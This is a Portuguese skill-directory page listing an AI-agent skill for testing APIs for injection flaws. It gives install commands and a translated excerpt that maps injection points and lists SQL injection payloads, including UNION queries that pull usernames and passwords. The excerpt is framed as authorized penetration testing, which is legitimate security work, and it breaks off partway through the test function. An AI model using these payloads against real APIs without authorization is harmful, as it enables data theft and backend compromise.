Pular para o conteúdo
Skillpedia
Diversos35 mil · #5737

exploiting-api-injection-vulnerabilities

Ajuda seu agente a testar APIs em busca de falhas de injeção. Ele cria comandos especiais para extrair dados, executar comandos ou acessar serviços internos.

O que ela faz

Esta ferramenta testa se as informações enviadas para um site (como nomes de usuário ou senhas) podem ser usadas para enganar o sistema e acessar dados ou executar comandos sem permissão. Ela procura por falhas comuns de segurança em APIs.

Quando usar

  • ✓Ao testar formulários de login ou busca em um site.
  • ✓Quando uma API aceita URLs ou endereços de sites.
  • ✓Para verificar se dados sensíveis podem ser expostos.

Exemplo do que pedir para a IA

“Verifique se a API de login é vulnerável a injeção de SQL.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-api-injection-vulnerabilities/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-api-injection-vulnerabilities/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta envia variações de comandos e dados maliciosos para diferentes partes da API (como campos de texto, cabeçalhos ou corpo da requisição). Ela então analisa as respostas para identificar se alguma tentativa teve sucesso em explorar uma falha.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-api-injection-vulnerabilities

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-api-injection-vulnerabilities/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando Vulnerabilidades de Injeção em APIs

Quando Usar

  • Testando endpoints de API que aceitam entrada do usuário para consultas de banco de dados, comandos de sistema ou requisições externas
  • Avaliando APIs que interagem com bancos de dados SQL, armazenamentos NoSQL (MongoDB, Redis), diretórios LDAP ou URLs externas
  • Verificando a validação de entrada e o uso de consultas parametrizadas em todos os endpoints de API
  • Testando SSRF onde parâmetros de API aceitam URLs ou nomes de host que disparam requisições do lado do servidor
  • Identificando pontos de injeção em cabeçalhos, parâmetros de caminho, strings de consulta e corpos de requisição JSON/XML

Não use sem autorização por escrito. Testes de injeção podem modificar ou destruir dados e comprometer sistemas de backend.

Pré-requisitos

  • Autorização por escrito especificando a API alvo e os sistemas de backend em escopo
  • Python 3.10+ com a biblioteca requests
  • SQLMap para detecção e exploração automatizada de injeção SQL
  • Burp Suite Professional com capacidades de Active Scan
  • Conhecimento da tecnologia do banco de dados de backend (MySQL, PostgreSQL, MongoDB, Redis)
  • Ambiente de teste isolado para evitar corrupção de dados de produção

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Etapa 1: Identificação do Ponto de Injeção

import requests
import json
import urllib.parse

BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}

# Map all input points across the API
injection_points = [
    # Path parameters
    {"type": "path", "method": "GET", "url": "/users/{input}"},
    {"type": "path", "method": "GET", "url": "/products/{input}"},
    {"type": "path", "method": "GET", "url": "/orders/{input}"},
    # Query parameters
    {"type": "query", "method": "GET", "url": "/users?search={input}"},
    {"type": "query", "method": "GET", "url": "/products?sort={input}&order={input}"},
    {"type": "query", "method": "GET", "url": "/products?category={input}"},
    {"type": "query", "method": "GET", "url": "/search?q={input}"},
    # JSON body parameters
    {"type": "body", "method": "POST", "url": "/auth/login", "fields": ["username", "password"]},
    {"type": "body", "method": "POST", "url": "/users", "fields": ["name", "email"]},
    {"type": "body", "method": "POST", "url": "/search", "fields": ["query", "filters"]},
    {"type": "body", "method": "POST", "url": "/webhook", "fields": ["url", "callback_url"]},
    # Header parameters
    {"type": "header", "method": "GET", "url": "/users/me", "headers": ["X-Forwarded-For", "Referer", "User-Agent"]},
]

Etapa 2: Teste de Injeção SQL

# Payloads de injeção SQL para diferentes contextos
SQL_PAYLOADS = {
    "detection": [
        "'",
        "\"",
        "' OR '1'='1",
        "\" OR \"1\"=\"1",
        "1 OR 1=1",
        "' OR 1=1--",
        "' UNION SELECT NULL--",
        "1; WAITFOR DELAY '0:0:5'--",
        "1' AND SLEEP(5)--",
        "1)) OR 1=1--",
    ],
    "union_based": [
        "' UNION SELECT NULL,NULL,NULL--",
        "' UNION SELECT 1,2,3--",
        "' UNION SELECT username,password,NULL FROM users--",
        "-1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--",
    ],
    "error_based": [
        "' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--",
        "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
    ],
    "time_based": [
        "' AND SLEEP(5)--",
        "'; WAITFOR DELAY '0:0:5'--",
        "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
        "1; SELECT pg_sleep(5)--",
    ],
}

import time

def test_sql_injection(endpoint, param_name, param_type="query"):
    """Testa um parâmetro para injeção SQL."""
    results = []

    for category, payloads in SQL_PAYLOADS.items():
        for payload in payloads:
            start = time.time()

            if param_type == "query":
                url = f"{BASE_URL}{endpoint}"
                resp = requests.get(url, headers=headers,
                                  params={param_name: payload}, timeout=15)
            elif param_type == "body":
                resp = requests.post(f"{BASE_URL}{endpoint}",
                                   headers=headers,
                                   json={param_name: payload}, timeout=15)

…
Perguntas frequentes

O que é 'injeção' neste contexto?

É quando um invasor insere comandos ou dados inesperados em um campo de entrada para fazer o sistema se comportar de maneira não intencional, como revelar informações ou executar ações.

O que são 'vulnerabilidades de API'?

São falhas de segurança em interfaces de programação de aplicativos (APIs) que podem ser exploradas por atacantes para obter acesso não autorizado ou causar danos.

O que é SSRF?

SSRF (Server-Side Request Forgery) é uma vulnerabilidade onde um atacante pode fazer com que o servidor web faça requisições para outros serviços internos ou externos, como se fosse o próprio servidor.

Detalhes

Descrição original do autor

Tests API parameters, headers, and request bodies for injection flaws — SQL injection, NoSQL injection, OS command injection, LDAP injection, and SSRF — by crafting payloads tailored to the target backend to extract data, execute commands, or reach internal services, mapped to OWASP API8:2023 and API7:2023 SSRF. Use when performing SQLi, NoSQL injection, command injection, or SSRF testing against

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5737
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas